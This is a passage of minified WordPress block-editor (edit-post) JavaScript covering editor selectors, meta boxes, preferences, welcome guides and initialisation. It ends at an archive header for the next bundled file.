).isModalActive",{since:"6.3",alternative:"select( 'core/interface' ).isModalActive"}),!!e(ve).isModalActive(o)))),Ne=(0,l.createRegistrySelector)((e=>(t,o)=>!!e(d.store).get("core/edit-post",o))),Le=(0,l.createRegistrySelector)((e=>(t,o)=>e(ve).isItemPinned("core",o))),Fe=(0,l.createSelector)((e=>Object.keys(e.metaBoxes.locations).filter((t=>Ge(e,t)))),(e=>[e.metaBoxes.locations])),ze=(0,l.createRegistrySelector)((e=>(t,o)=>Ge(t,o)&&Ue(t,o)?.some((({id:t})=>e(u.store).isEditorPanelEnabled(`meta-box-${t}`)))));function Ge(e,t){const o=Ue(e,t);return!!o&&0!==o.length}function Ue(e,t){return e.metaBoxes.locations[t]}const Ve=(0,l.createSelector)((e=>Object.values(e.metaBoxes.locations).flat()),(e=>[e.metaBoxes.locations]));function He(e){return Fe(e).length>0}function qe(e){return e.metaBoxes.isSaving}const We=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-site' ).__experimentalGetPreviewDeviceType",{since:"6.5",version:"6.7",alternative:"select( 'core/editor' ).getDeviceType"}),e(u.store).getDeviceType()))),Qe=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-post' ).isInserterOpened",{since:"6.5",alternative:"select( 'core/editor' ).isInserterOpened"}),e(u.store).isInserterOpened()))),Xe=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-post' ).__experimentalGetInsertionPoint",{since:"6.5",version:"6.7"}),C(e(u.store)).getInserter()))),Ze=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-post' ).isListViewOpened",{since:"6.5",alternative:"select( 'core/editor' ).isListViewOpened"}),e(u.store).isListViewOpened()))),$e=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-post' ).isEditingTemplate",{since:"6.5",alternative:"select( 'core/editor' ).getRenderingMode"}),"wp_template"===e(u.store).getCurrentPostType())));function Ye(e){return e.metaBoxes.initialized}const Ke=(0,l.createRegistrySelector)((e=>()=>{const{id:t,type:o}=e(u.store).getCurrentPost(),s=C(e(j.store)).getTemplateId(o,t);if(s)return e(j.store).getEditedEntityRecord("postType","wp_template",s)})),Je=(0,l.createReduxStore)("core/edit-post",{reducer:U,actions:o,selectors:s});(0,l.register)(Je);const et=function(){const{toggleFullscreenMode:e}=(0,l.useDispatch)(Je),{registerShortcut:t}=(0,l.useDispatch)(F.store);return(0,c.useEffect)((()=>{t({name:"core/edit-post/toggle-fullscreen",category:"global",description:(0,_.__)("Enable or disable fullscreen mode."),keyCombination:{modifier:"secondary",character:"f"}})}),[]),(0,F.useShortcut)("core/edit-post/toggle-fullscreen",(()=>{e()})),null};function tt(){const{editPost:e}=(0,l.useDispatch)(u.store),[t,o]=(0,c.useState)(void 0),[s,i]=(0,c.useState)(""),{postType:r,isNewPost:n}=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t,isCleanNewPost:o}=e(u.store);return{postType:t("type"),isNewPost:o()}}),[]),[a,d]=(0,c.useState)((()=>n&&"wp_block"===r));return"wp_block"===r&&n?(0,y.jsx)(y.Fragment,{children:a&&(0,y.jsx)(k.Modal,{title:(0,_.__)("Create pattern"),onRequestClose:()=>{d(!1)},overlayClassName:"reusable-blocks-menu-items__convert-modal",children:(0,y.jsx)("form",{onSubmit:o=>{o.preventDefault(),d(!1),e({title:s,meta:{wp_pattern_sync_status:t}})},children:(0,y.jsxs)(k.__experimentalVStack,{spacing:"5",children:[(0,y.jsx)(k.TextControl,{label:(0,_.__)("Name"),value:s,onChange:i,placeholder:(0,_.__)("My pattern"),className:"patterns-create-modal__name-input",__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,y.jsx)(k.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,_._x)("Synced","pattern (singular)"),help:(0,_.__)("Sync this pattern across multiple locations."),checked:!t,onChange:()=>{o(t?void 0:"unsynced")}}),(0,y.jsx)(k.__experimentalHStack,{justify:"right",children:(0,y.jsx)(k.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",disabled:!s,accessibleWhenDisabled:!0,children:(0,_.__)("Create")})})]})})})}):null}class ot extends c.Component{constructor(){super(...arguments),this.state={historyId:null}}componentDidUpdate(e){const{postId:t,postStatus:o}=this.props,{historyId:s}=this.state;t===e.postId&&t===s||"auto-draft"===o||!t||this.setBrowserURL(t)}setBrowserURL(e){window.history.replaceState({id:e},"Post "+e,function(e){return(0,E.addQueryArgs)("post.php",{post:e,action:"edit"})}(e)),this.setState((()=>({historyId:e})))}render(){return null}}const st=(0,l.withSelect)((e=>{const{getCurrentPost:t}=e(u.store),o=t();let{id:s,status:i,type:r}=o;return["wp_template","wp_template_part"].includes(r)&&(s=o.wp_id),{postId:s,postStatus:i}}))(ot);const it=function({location:e}){const t=(0,c.useRef)(null),o=(0,c.useRef)(null);(0,c.useEffect)((()=>(o.current=document.querySelector(".metabox-location-"+e),o.current&&t.current.appendChild(o.current),()=>{o.current&&document.querySelector("#metaboxes").appendChild(o.current)})),[e]);const s=(0,l.useSelect)((e=>e(Je).isSavingMetaBoxes()),[]),i=m("edit-post-meta-boxes-area",`is-${e}`,{"is-loading":s});return(0,y.jsxs)("div",{className:i,children:[s&&(0,y.jsx)(k.Spinner,{}),(0,y.jsx)("div",{className:"edit-post-meta-boxes-area__container",ref:t}),(0,y.jsx)("div",{className:"edit-post-meta-boxes-area__clear"})]})};function rt({id:e}){const t=(0,l.useSelect)((t=>t(u.store).isEditorPanelEnabled(`meta-box-${e}`)),[e]);return(0,c.useEffect)((()=>{const o=document.getElementById(e);o&&(t?o.classList.remove("is-hidden"):o.classList.add("is-hidden"))}),[e,t]),null}function nt({location:e}){const t=(0,l.useSelect)((t=>t(Je).getMetaBoxesPerLocation(e)),[e]);return(0,y.jsxs)(y.Fragment,{children:[(null!=t?t:[]).map((({id:e})=>(0,y.jsx)(rt,{id:e},e))),(0,y.jsx)(it,{location:e})]})}const at=window.wp.keycodes;const ct=function(){const e=(0,l.useSelect)((e=>{const{canUser:t}=e(j.store),o=(0,E.addQueryArgs)("edit.php",{post_type:"wp_block"}),s=(0,E.addQueryArgs)("site-editor.php",{path:"/patterns"});return t("create",{kind:"postType",name:"wp_template"})?s:o}),[]);return(0,y.jsx)(k.MenuItem,{role:"menuitem",href:e,children:(0,_.__)("Manage patterns")})};function lt(){const e=(0,l.useSelect)((e=>"wp_template"===e(u.store).getCurrentPostType()),[]);return(0,y.jsx)(d.PreferenceToggleMenuItem,{scope:"core/edit-post",name:e?"welcomeGuideTemplate":"welcomeGuide",label:(0,_.__)("Welcome Guide")})}const{PreferenceBaseOption:dt}=C(d.privateApis);function pt({willEnable:e}){const[t,o]=(0,c.useState)(!1);return(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("p",{className:"edit-post-preferences-modal__custom-fields-confirmation-message",children:(0,_.__)("A page reload is required for this change. Make sure your content is saved before reloading.")}),(0,y.jsx)(k.Button,{__next40pxDefaultSize:!0,variant:"secondary",isBusy:t,accessibleWhenDisabled:!0,disabled:t,onClick:()=>{o(!0),function(){const e=document.getElementById("toggle-custom-fields-form");e.querySelector('[name="_wp_http_referer"]').setAttribute("value",(0,E.getPathAndQueryString)(window.location.href)),e.submit()}()},children:e?(0,_.__)("Show & Reload Page"):(0,_.__)("Hide & Reload Page")})]})}function ut({label:e}){const t=(0,l.useSelect)((e=>!!e(u.store).getEditorSettings().enableCustomFields),[]),[o,s]=(0,c.useState)(t);return(0,y.jsx)(dt,{label:e,isChecked:o,onChange:s,children:o!==t&&(0,y.jsx)(pt,{willEnable:o})})}const{PreferenceBaseOption:gt}=C(d.privateApis);function mt(e){const{toggleEditorPanelEnabled:t}=(0,l.useDispatch)(u.store),{isChecked:o,isRemoved:s}=(0,l.useSelect)((t=>{const{isEditorPanelEnabled:o,isEditorPanelRemoved:s}=t(u.store);return{isChecked:o(e.panelName),isRemoved:s(e.panelName)}}),[e.panelName]);return s?null:(0,y.jsx)(gt,{isChecked:o,onChange:()=>t(e.panelName),...e})}const{PreferencesModalSection:ht}=C(d.privateApis);const wt=(0,l.withSelect)((e=>{const{getEditorSettings:t}=e(u.store),{getAllMetaBoxes:o}=e(Je);return{areCustomFieldsRegistered:void 0!==t().enableCustomFields,metaBoxes:o()}}))((function({areCustomFieldsRegistered:e,metaBoxes:t,...o}){const s=t.filter((({id:e})=>"postcustom"!==e));return e||0!==s.length?(0,y.jsxs)(ht,{...o,children:[e&&(0,y.jsx)(ut,{label:(0,_.__)("Custom fields")}),s.map((({id:e,title:t})=>(0,y.jsx)(mt,{label:t,panelName:`meta-box-${e}`},e)))]}):null})),{PreferenceToggleControl:_t}=C(d.privateApis),{PreferencesModal:ft}=C(u.privateApis);function yt(){const e={general:(0,y.jsx)(wt,{title:(0,_.__)("Advanced")}),appearance:(0,y.jsx)(_t,{scope:"core/edit-post",featureName:"themeStyles",help:(0,_.__)("Make the editor look like your theme."),label:(0,_.__)("Use theme styles")})};return(0,y.jsx)(ft,{extraSections:e})}const{ToolsMoreMenuGroup:bt,ViewMoreMenuGroup:xt}=C(u.privateApis),vt=()=>{const e=(0,T.useViewportMatch)("large");return(0,y.jsxs)(y.Fragment,{children:[e&&(0,y.jsx)(xt,{children:(0,y.jsx)(d.PreferenceToggleMenuItem,{scope:"core/edit-post",name:"fullscreenMode",label:(0,_.__)("Fullscreen mode"),info:(0,_.__)("Show and hide the admin user interface"),messageActivated:(0,_.__)("Fullscreen mode activated."),messageDeactivated:(0,_.__)("Fullscreen mode deactivated."),shortcut:at.displayShortcut.secondary("f")})}),(0,y.jsxs)(bt,{children:[(0,y.jsx)(ct,{}),(0,y.jsx)(lt,{})]}),(0,y.jsx)(yt,{})]})};function St({nonAnimatedSrc:e,animatedSrc:t}){return(0,y.jsxs)("picture",{className:"edit-post-welcome-guide__image",children:[(0,y.jsx)("source",{srcSet:e,media:"(prefers-reduced-motion: reduce)"}),(0,y.jsx)("img",{src:t,width:"312",height:"240",alt:""})]})}function Pt(){const{toggleFeature:e}=(0,l.useDispatch)(Je);return(0,y.jsx)(k.Guide,{className:"edit-post-welcome-guide",contentLabel:(0,_.__)("Welcome to the editor"),finishButtonText:(0,_.__)("Get started"),onFinish:()=>e("welcomeGuide"),pages:[{image:(0,y.jsx)(St,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-canvas.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-canvas.gif"}),content:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("h1",{className:"edit-post-welcome-guide__heading",children:(0,_.__)("Welcome to the editor")}),(0,y.jsx)("p",{className:"edit-post-welcome-guide__text",children:(0,_.__)("In the WordPress editor, each paragraph, image, or video is presented as a distinct “block” of content.")})]})},{image:(0,y.jsx)(St,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-editor.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-editor.gif"}),content:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("h1",{className:"edit-post-welcome-guide__heading",children:(0,_.__)("Customize each block")}),(0,y.jsx)("p",{className:"edit-post-welcome-guide__text",children:(0,_.__)("Each block comes with its own set of controls for changing things like color, width, and alignment. These will show and hide automatically when you have a block selected.")})]})},{image:(0,y.jsx)(St,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-library.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-library.gif"}),content:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("h1",{className:"edit-post-welcome-guide__heading",children:(0,_.__)("Explore all blocks")}),(0,y.jsx)("p",{className:"edit-post-welcome-guide__text",children:(0,c.createInterpolateElement)((0,_.__)("All of the blocks available to you live in the block library. You’ll find it wherever you see the <InserterIconImage /> icon."),{InserterIconImage:(0,y.jsx)("img",{alt:(0,_.__)("inserter"),src:"data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 18 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='18' height='18' rx='2' fill='%231E1E1E'/%3E%3Cpath d='M9.22727 4V14M4 8.77273H14' stroke='white' stroke-width='1.5'/%3E%3C/svg%3E%0A"})})})]})},{image:(0,y.jsx)(St,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-documentation.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-documentation.gif"}),content:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("h1",{className:"edit-post-welcome-guide__heading",children:(0,_.__)("Learn more")}),(0,y.jsx)("p",{className:"edit-post-welcome-guide__text",children:(0,c.createInterpolateElement)((0,_.__)("New to the block editor? Want to learn more about using it? <a>Here's a detailed guide.</a>"),{a:(0,y.jsx)(k.ExternalLink,{href:(0,_.__)("https://wordpress.org/documentation/article/wordpress-block-editor/")})})})]})}]})}function Et(){const{toggleFeature:e}=(0,l.useDispatch)(Je);return(0,y.jsx)(k.Guide,{className:"edit-template-welcome-guide",contentLabel:(0,_.__)("Welcome to the template editor"),finishButtonText:(0,_.__)("Get started"),onFinish:()=>e("welcomeGuideTemplate"),pages:[{image:(0,y.jsx)(St,{nonAnimatedSrc:"https://s.w.org/images/block-editor/welcome-template-editor.svg",animatedSrc:"https://s.w.org/images/block-editor/welcome-template-editor.gif"}),content:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)("h1",{className:"edit-post-welcome-guide__heading",children:(0,_.__)("Welcome to the template editor")}),(0,y.jsx)("p",{className:"edit-post-welcome-guide__text",children:(0,_.__)("Templates help define the layout of the site. You can customize all aspects of your posts and pages using blocks and patterns in this editor.")})]})}]})}function Mt({postType:e}){const{isActive:t,isEditingTemplate:o}=(0,l.useSelect)((t=>{const{isFeatureActive:o}=t(Je),s="wp_template"===e;return{isActive:o(s?"welcomeGuideTemplate":"welcomeGuide"),isEditingTemplate:s}}),[e]);return t?o?(0,y.jsx)(Et,{}):(0,y.jsx)(Pt,{}):null}const jt=(0,y.jsx)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,y.jsx)(f.Path,{d:"M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z"})});const{getLayoutStyles:kt}=C(h.privateApis),{useCommands:Tt}=C(P.privateApis),{useCommandContext:Bt}=C(S.privateApis),{Editor:It,FullscreenMode:At,NavigableRegion:Rt}=C(u.privateApis),{BlockKeyboardShortcuts:Ct}=C(r.privateApis),Dt=["wp_template","wp_template_part","wp_block","wp_navigation"];function Ot({isLegacy:e}){const[t,o,s]=(0,l.useSelect)((e=>{const{get:t}=e(d.store),{isMetaBoxLocationVisible:o}=e(Je);return[t("core/edit-post","metaBoxesMainIsOpen"),t("core/edit-post","metaBoxesMainOpenHeight"),o("normal")||o("advanced")||o("side")]}),[]),{set:i}=(0,l.useDispatch)(d.store),r=(0,c.useRef)(),n=(0,T.useMediaQuery)("(max-height: 549px)"),[{min:a,max:p},u]=(0,c.useState)((()=>({}))),g=(0,T.useRefEffect)((e=>{const t=e.closest(".interface-interface-skeleton__content"),o=t.querySelectorAll(":scope > .components-notice-list"),s=t.querySelector(".edit-post-meta-boxes-main__presenter"),i=new window.ResizeObserver((()=>{let e=t.offsetHeight;for(const t of o)e-=t.offsetHeight;const i=s.offsetHeight;u({min:i,max:e})}));i.observe(t);for(const e of o)i.observe(e);return()=>i.disconnect()}),[]),h=(0,c.useRef)(),w=(0,c.useId)(),[f,v]=(0,c.useState)(!0),S=(e,t,o)=>{const s=Math.min(p,Math.max(a,e));t?i("core/edit-post","metaBoxesMainOpenHeight",s):h.current.ariaValueNow=j(s),o&&r.current.updateSize({height:s,width:"auto"})};if(!s)return;const P=(0,y.jsxs)("div",{className:m("edit-post-layout__metaboxes",!e&&"edit-post-meta-boxes-main__liner"),hidden:!e&&n&&!t,children:[(0,y.jsx)(nt,{location:"normal"}),(0,y.jsx)(nt,{location:"advanced"})]});if(e)return P;const E=void 0===o;let M="50%";void 0!==p&&(M=E&&f?p/2:p);const j=e=>Math.round((e-a)/(p-a)*100),B=void 0===p||E?50:j(o),I=e=>{const t={ArrowUp:20,ArrowDown:-20}[e.key];if(t){const s=r.current.resizable,i=E?s.offsetHeight:o;S(t+i,!0,!0),e.preventDefault()}},A="edit-post-meta-boxes-main",R=(0,_.__)("Meta Boxes");let C,D;return n?(C=Rt,D={className:m(A,"is-toggle-only")}):(C=k.ResizableBox,D={as:Rt,ref:r,className:m(A,"is-resizable"),defaultSize:{height:o},minHeight:a,maxHeight:M,enable:{top:!0,right:!1,bottom:!1,left:!1,topLeft:!1,topRight:!1,bottomRight:!1,bottomLeft:!1},handleClasses:{top:"edit-post-meta-boxes-main__presenter"},handleComponent:{top:(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(k.Tooltip,{text:(0,_.__)("Drag to resize"),children:(0,y.jsx)("button",{ref:h,role:"separator","aria-valuenow":B,"aria-label":(0,_.__)("Drag to resize"),"aria-describedby":w,onKeyDown:I})}),(0,y.jsx)(k.VisuallyHidden,{id:w,children:(0,_.__)("Use up and down arrow keys to resize the meta box panel.")})]})},onPointerDown:({pointerId:e,target:t})=>{h.current.parentElement.contains(t)&&t.setPointerCapture(e)},onResizeStart:(e,t,o)=>{E&&(S(o.offsetHeight,!1,!0),v(!1))},onResize:()=>S(r.current.state.height),onResizeStop:()=>S(r.current.state.height,!0)}),(0,y.jsxs)(C,{"aria-label":R,...D,children:[n?(0,y.jsxs)("button",{"aria-expanded":t,className:"edit-post-meta-boxes-main__presenter",onClick:()=>i("core/edit-post","metaBoxesMainIsOpen",!t),children:[R,(0,y.jsx)(k.Icon,{icon:t?b:x})]}):(0,y.jsx)("meta",{ref:g}),P]})}const Nt=function({postId:e,postType:t,settings:o,initialEdits:s}){Tt(),function(){const{isFullscreen:e}=(0,l.useSelect)((e=>{const{get:t}=e(d.store);return{isFullscreen:t("core/edit-post","fullscreenMode")}}),[]),{toggle:t}=(0,l.useDispatch)(d.store),{createInfoNotice:o}=(0,l.useDispatch)(v.store);(0,S.useCommand)({name:"core/toggle-fullscreen-mode",label:e?(0,_.__)("Exit fullscreen"):(0,_.__)("Enter fullscreen"),icon:jt,callback:({close:s})=>{t("core/edit-post","fullscreenMode"),s(),o(e?(0,_.__)("Fullscreen off."):(0,_.__)("Fullscreen on."),{id:"core/edit-post/toggle-fullscreen-mode/notice",type:"snackbar",actions:[{label:(0,_.__)("Undo"),onClick:()=>{t("core/edit-post","fullscreenMode")}}]})}})}();const r=(0,l.useSelect)((e=>{const{getEditorSettings:t,getCurrentPostType:o,getDeviceType:s}=e(u.store);return"Desktop"!==s()||["wp_template","wp_block"].includes(o())||C(e(h.store)).isZoomOut()||e(i.store).getBlockTypes().every((e=>e.apiVersion>=3))}),[]),{createErrorNotice:n}=(0,l.useDispatch)(v.store),{currentPost:{postId:a,postType:p},onNavigateToEntityRecord:g,onNavigateToPreviousEntityRecord:f}=function(e,t,o){const[s,i]=(0,c.useReducer)(((e,{type:t,post:o,previousRenderingMode:s})=>"push"===t?[...e,{post:o,previousRenderingMode:s}]:"pop"===t&&e.length>1?e.slice(0,-1):e),[{post:{postId:e,postType:t}}]),{post:r,previousRenderingMode:n}=s[s.length-1],{getRenderingMode:a}=(0,l.useSelect)(u.store),{setRenderingMode:d}=(0,l.useDispatch)(u.store),p=(0,c.useCallback)((e=>{i({type:"push",post:{postId:e.postId,postType:e.postType},previousRenderingMode:a()}),d(o)}),[a,d,o]),g=(0,c.useCallback)((()=>{i({type:"pop"}),n&&d(n)}),[d,n]);return{currentPost:r,onNavigateToEntityRecord:p,onNavigateToPreviousEntityRecord:s.length>1?g:void 0}}(e,t,"post-only"),b="wp_template"===p,{mode:x,isFullscreenActive:P,hasResolvedMode:B,hasActiveMetaboxes:I,hasBlockSelected:A,showIconLabels:R,isDistractionFree:D,showMetaBoxes:O,isWelcomeGuideVisible:F,templateId:z,enablePaddingAppender:G,isDevicePreview:U}=(0,l.useSelect)((e=>{var t;const{get:s}=e(d.store),{isFeatureActive:i,hasMetaBoxes:r}=e(Je),{canUser:n,getPostType:c,getTemplateId:l}=C(e(j.store)),g=o.supportsTemplateMode,m=null!==(t=c(p)?.viewable)&&void 0!==t&&t,w=n("read",{kind:"postType",name:"wp_template"}),{getBlockSelectionStart:_,isZoomOut:y}=C(e(h.store)),{getEditorMode:x,getRenderingMode:v,getDefaultRenderingMode:S,getDeviceType:P}=C(e(u.store)),E="post-only"===v(),M=!Dt.includes(p),k="wp_block"===p&&!f,T=l(p,a),B=S(p);return{mode:x(),isFullscreenActive:i("fullscreenMode"),hasActiveMetaboxes:r(),hasResolvedMode:"template-locked"===B?!!T:void 0!==B,hasBlockSelected:!!_(),showIconLabels:s("core","showIconLabels"),isDistractionFree:s("core","distractionFree"),showMetaBoxes:M&&!y()||k,isWelcomeGuideVisible:i("welcomeGuide"),templateId:g&&m&&w&&!b?T:null,enablePaddingAppender:!y()&&E&&M,isDevicePreview:"Desktop"!==P()}}),[p,a,b,o.supportsTemplateMode,f]);(e=>{const t=(0,l.useSelect)((t=>e&&t(u.store).__unstableIsEditorReady()),[e]),{initializeMetaBoxes:o}=(0,l.useDispatch)(Je);(0,c.useEffect)((()=>{t&&o()}),[t,o])})(I&&B);const[V,H]=function(e){const t=(0,l.useRegistry)(),o=(0,T.useRefEffect)((e=>{function o(o){if(o.target!==e&&o.target!==e.parentElement)return;const s=e.lastElementChild;if(!s)return;const r=s.getBoundingClientRect();if(o.clientY<r.bottom)return;o.preventDefault();const n=t.select(h.store).getBlockOrder(""),a=n[n.length-1],c=t.select(h.store).getBlock(a),{selectBlock:l,insertDefaultBlock:d}=t.dispatch(h.store);c&&(0,i.isUnmodifiedDefaultBlock)(c)?l(a):d()}const{ownerDocument:s}=e;return s.addEventListener("mousedown",o),()=>{s.removeEventListener("mousedown",o)}}),[t]);return e?[o,':root :where(.editor-styles-wrapper)::after {content: ""; display: block; height: 40vh;}']:[]}(G);Bt(A?"block-selection-edit":"entity-edit");const q=(0,c.useMemo)((()=>({...o,onNavigateToEntityRecord:g,onNavigateToPreviousEntityRecord:f,defaultRenderingMode:"post-only"})),[o,g,f]),W=function(...e){const{hasThemeStyleSupport:t,editorSettings:o}=(0,l.useSelect)((e=>({hasThemeStyleSupport:e(Je).isFeatureActive("themeStyles"),editorSettings:e(u.store).getEditorSettings()})),[]),s=e.join("\n");return(0,c.useMemo)((()=>{var e,i,r,n;const a=null!==(e=o.styles?.filter((e=>e.__unstableType&&"theme"!==e.__unstableType)))&&void 0!==e?e:[],c=[...null!==(i=o?.defaultEditorStyles)&&void 0!==i?i:[],...a],l=t&&a.length!==(null!==(r=o.styles?.length)&&void 0!==r?r:0);o.disableLayoutStyles||l||c.push({css:kt({style:{},selector:"body",hasBlockGapSupport:!1,hasFallbackGapSupport:!0,fallbackGapValue:"0.5em"})});const d=l?null!==(n=o.styles)&&void 0!==n?n:[]:c;return s?[...d,{css:s}]:d}),[o.defaultEditorStyles,o.disableLayoutStyles,o.styles,t,s])}(H);R?document.body.classList.add("show-icon-labels"):document.body.classList.remove("show-icon-labels");const Q=(0,k.__unstableUseNavigateRegions)(),X=m("edit-post-layout","is-mode-"+x,{"has-metaboxes":I}),{createSuccessNotice:Z}=(0,l.useDispatch)(v.store),$=(0,c.useCallback)(((e,t)=>{switch(e){case"move-to-trash":document.location.href=(0,E.addQueryArgs)("edit.php",{trashed:1,post_type:t[0].type,ids:t[0].id});break;case"duplicate-post":{const e=t[0],o="string"==typeof e.title?e.title:e.title?.rendered;Z((0,_.sprintf)((0,_.__)('"%s" successfully created.'),(0,M.decodeEntities)(o)),{type:"snackbar",id:"duplicate-post-action",actions:[{label:(0,_.__)("Edit"),onClick:()=>{const t=e.id;document.location.href=(0,E.addQueryArgs)("post.php",{post:t,action:"edit"})}}]})}}}),[Z]),Y=(0,c.useMemo)((()=>({type:t,id:e})),[t,e]),K=(0,T.useViewportMatch)("medium")&&P?(0,y.jsx)(N,{initialPost:Y}):null;return(0,y.jsx)(k.SlotFillProvider,{children:(0,y.jsxs)(u.ErrorBoundary,{canCopyContent:!0,children:[(0,y.jsx)(S.CommandMenu,{}),(0,y.jsx)(Mt,{postType:p}),(0,y.jsx)("div",{className:Q.className,...Q,ref:Q.ref,children:(0,y.jsxs)(It,{settings:q,initialEdits:s,postType:p,postId:a,templateId:z,className:X,styles:W,forceIsDirty:I,contentRef:V,disableIframe:!r,autoFocus:!F,onActionPerformed:$,extraSidebarPanels:O&&(0,y.jsx)(nt,{location:"side"}),extraContent:!D&&O&&(0,y.jsx)(Ot,{isLegacy:!r||U}),children:[(0,y.jsx)(u.PostLockedModal,{}),(0,y.jsx)(L,{}),(0,y.jsx)(At,{isActive:P}),(0,y.jsx)(st,{}),(0,y.jsx)(u.UnsavedChangesWarning,{}),(0,y.jsx)(u.AutosaveMonitor,{}),(0,y.jsx)(u.LocalAutosaveMonitor,{}),(0,y.jsx)(et,{}),(0,y.jsx)(u.EditorKeyboardShortcutsRegister,{}),(0,y.jsx)(Ct,{}),(0,y.jsx)(tt,{}),(0,y.jsx)(w.PluginArea,{onError:function(e){n((0,_.sprintf)((0,_.__)('The "%s" plugin has encountered an error and cannot be rendered.'),e))}}),(0,y.jsx)(vt,{}),K,(0,y.jsx)(u.EditorSnackbars,{})]})})]})})},{PluginPostExcerpt:Lt}=C(u.privateApis),Ft=(0,E.getPath)(window.location.href)?.includes("site-editor.php"),zt=e=>{a()(`wp.editPost.${e}`,{since:"6.6",alternative:`wp.editor.${e}`})};function Gt(e){return Ft?null:(zt("PluginBlockSettingsMenuItem"),(0,y.jsx)(u.PluginBlockSettingsMenuItem,{...e}))}function Ut(e){return Ft?null:(zt("PluginDocumentSettingPanel"),(0,y.jsx)(u.PluginDocumentSettingPanel,{...e}))}function Vt(e){return Ft?null:(zt("PluginMoreMenuItem"),(0,y.jsx)(u.PluginMoreMenuItem,{...e}))}function Ht(e){return Ft?null:(zt("PluginPrePublishPanel"),(0,y.jsx)(u.PluginPrePublishPanel,{...e}))}function qt(e){return Ft?null:(zt("PluginPostPublishPanel"),(0,y.jsx)(u.PluginPostPublishPanel,{...e}))}function Wt(e){return Ft?null:(zt("PluginPostStatusInfo"),(0,y.jsx)(u.PluginPostStatusInfo,{...e}))}function Qt(e){return Ft?null:(zt("PluginSidebar"),(0,y.jsx)(u.PluginSidebar,{...e}))}function Xt(e){return Ft?null:(zt("PluginSidebarMoreMenuItem"),(0,y.jsx)(u.PluginSidebarMoreMenuItem,{...e}))}function Zt(){return Ft?null:(a()("wp.editPost.__experimentalPluginPostExcerpt",{since:"6.6",hint:"Core and custom panels can be access programmatically using their panel name.",link:"https://developer.wordpress.org/block-editor/reference-guides/slotfills/plugin-document-setting-panel/#accessing-a-panel-programmatically"}),Lt)}const{BackButton:$t,registerCoreBlockBindingsSources:Yt}=C(u.privateApis);function Kt(e,t,o,s,n){const a=window.matchMedia("(min-width: 782px)").matches,g=document.getElementById(e),m=(0,c.createRoot)(g);(0,l.dispatch)(d.store).setDefaults("core/edit-post",{fullscreenMode:!0,themeStyles:!0,welcomeGuide:!0,welcomeGuideTemplate:!0}),(0,l.dispatch)(d.store).setDefaults("core",{allowRightClickOverrides:!0,editorMode:"visual",editorTool:"edit",fixedToolbar:!1,hiddenBlockTypes:[],inactivePanels:[],openPanels:["post-status"],showBlockBreadcrumbs:!0,showIconLabels:!1,showListViewByDefault:!1,enableChoosePatternModal:!0,isPublishSidebarEnabled:!0}),window.__experimentalMediaProcessing&&(0,l.dispatch)(d.store).setDefaults("core/media",{requireApproval:!0,optimizeOnUpload:!0}),(0,l.dispatch)(i.store).reapplyBlockTypeFilters(),a&&(0,l.select)(d.store).get("core","showListViewByDefault")&&!(0,l.select)(d.store).get("core","distractionFree")&&(0,l.dispatch)(u.store).setIsListViewOpened(!0),(0,r.registerCoreBlocks)(),Yt(),(0,p.registerLegacyWidgetBlock)({inserter:!1}),(0,p.registerWidgetGroupBlock)({inserter:!1});"Standards"!==("CSS1Compat"===document.compatMode?"Standards":"Quirks")&&console.warn("Your browser is using Quirks Mode. \nThis can cause rendering issues such as blocks overlaying meta boxes in the editor. Quirks Mode can be triggered by PHP errors or HTML code appearing before the opening <!DOCTYPE html>. Try checking the raw page source or your site's PHP error log and resolving errors there, removing any HTML before the doctype, or disabling plugins.");return-1!==window.navigator.userAgent.indexOf("iPhone")&&window.addEventListener("scroll",(e=>{const t=document.getElementsByClassName("interface-interface-skeleton__body")[0];e.target===document&&(window.scrollY>100&&(t.scrollTop=t.scrollTop+window.scrollY),document.getElementsByClassName("is-mode-visual")[0]&&window.scrollTo(0,0))})),window.addEventListener("dragover",(e=>e.preventDefault()),!1),window.addEventListener("drop",(e=>e.preventDefault()),!1),m.render((0,y.jsx)(c.StrictMode,{children:(0,y.jsx)(Nt,{settings:s,postId:o,postType:t,initialEdits:n})})),m}function Jt(){a()("wp.editPost.reinitializeEditor",{since:"6.2",version:"6.3"})}(window.wp=window.wp||{}).editPost=t})(); commands.min.js 0000664 00000140425 15061233506 0007476 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e,t,n={},r={};function o(e){var t=r[e];if(void 0!==t)return t.exports;var a=r[e]={exports:{}};return 